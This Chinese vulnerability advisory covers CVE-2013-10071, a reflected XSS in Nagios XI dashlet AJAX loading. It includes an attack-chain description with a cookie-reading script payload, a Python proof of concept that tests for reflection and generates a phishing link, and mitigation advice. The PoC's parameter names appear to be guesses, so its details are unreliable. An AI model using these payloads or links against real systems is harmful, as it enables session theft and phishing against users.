IPBUF安全漏洞报告
English
CVE-2013-10071 CVSS 6.1 中危

CVE-2013-10071 Nagios XI 反射型XSS漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2013-10071
漏洞类型
XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Nagios XI

相关标签

CVE-2013-10071XSS反射型XSSNagios XIWeb应用安全跨站脚本AJAX仪表板漏洞

漏洞概述

CVE-2013-10071是Nagios XI软件中的一个反射型跨站脚本(XSS)漏洞。该漏洞存在于Nagios XI的仪表板(dashboard)dashlet AJAX加载功能中,攻击者可以通过构造恶意链接诱导用户点击,在用户浏览器中执行任意JavaScript代码。漏洞根源在于应用程序对用户输入缺乏充分的验证和转义处理,导致恶意脚本被直接嵌入到响应页面中。由于该漏洞需要用户交互才能触发(UI:R),攻击者通常通过钓鱼邮件或社交工程手段传播恶意链接。CVSS评分6.1属于中等严重程度,虽然对机密性和完整性的影响较低,但仍可能用于窃取会话令牌、进行钓鱼攻击或修改页面显示内容,对企业和用户造成一定的安全风险。

技术细节

该漏洞是典型的反射型XSS(reflected XSS)漏洞,攻击流程如下:攻击者构造包含恶意JavaScript代码的特殊URL,该URL指向Nagios XI的dashlet AJAX加载端点。当用户访问此恶意链接时,服务器将URL参数中的恶意代码未经适当过滤直接返回到HTTP响应中。用户的浏览器收到响应后,将包含在响应中的恶意代码作为合法脚本执行。由于浏览器无法区分这是应用程序的合法代码还是攻击者注入的代码,因此恶意脚本可以访问目标网站的Cookie、会话令牌等敏感信息。漏洞存在于dashboard dashlet的AJAX load functionality中,具体是某些参数未进行HTML实体编码就直接输出到页面。攻击者可以利用此漏洞窃取用户的认证会话,执行任意前端操作,或重定向用户到恶意网站。

攻击链分析

STEP 1
步骤1
攻击者创建恶意链接:在Nagios XI的dashlet AJAX端点URL中注入XSS payload,如<script>alert(document.cookie)</script>
STEP 2
步骤2
攻击者通过钓鱼邮件、即时消息或社交工程手段诱导目标用户点击该恶意链接
STEP 3
步骤3
用户浏览器向Nagios XI服务器发送包含恶意payload的HTTP请求
STEP 4
步骤4
服务器将用户输入未经适当过滤直接嵌入到响应页面中
STEP 5
步骤5
用户浏览器收到响应后将恶意脚本作为合法代码执行,可窃取Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys from urllib.parse import quote # CVE-2013-10071 PoC - Nagios XI Reflected XSS in dashlet AJAX load # Target: Nagios XI versions prior to 2012R1.6 TARGET_URL = "http://target-server/nagiosxi/dashboard/dashlet" def create_xss_payload(): # Basic XSS payload to test reflected XSS payload = "<script>alert('XSS')</script>" return payload def test_reflected_xss(target_url, payload): """ Test for reflected XSS vulnerability in dashlet AJAX functionality """ params = { 'dashlet': 'custom', # or specific dashlet parameter 'data': payload } print(f"[*] Testing target: {target_url}") print(f"[*] Payload: {payload}") try: response = requests.get(target_url, params=params, timeout=10) # Check if payload is reflected without encoding if payload in response.text: print("[+] VULNERABLE: Payload reflected without encoding!") print(f"[+] Response length: {len(response.text)}") return True else: print("[-] Not vulnerable or payload was sanitized") return False except requests.RequestException as e: print(f"[-] Error: {e}") return False def generate_malicious_link(base_url, payload): """ Generate malicious link for social engineering attack """ encoded_payload = quote(payload) malicious_url = f"{base_url}?dashlet=custom&data={encoded_payload}" return malicious_url if __name__ == "__main__": payload = create_xss_payload() is_vulnerable = test_reflected_xss(TARGET_URL, payload) if is_vulnerable: print("\n[!] Attack link for social engineering:") print(generate_malicious_link(TARGET_URL, payload))

影响范围

Nagios XI < 2012R1.6

防御指南

临时缓解措施
如果无法立即升级,可临时禁用dashboard的dashlet AJAX加载功能,或在Web应用防火墙(WAF)中配置规则过滤包含script标签的请求参数。同时建议加强对用户的安全意识培训,提醒用户不要点击来源不明的链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表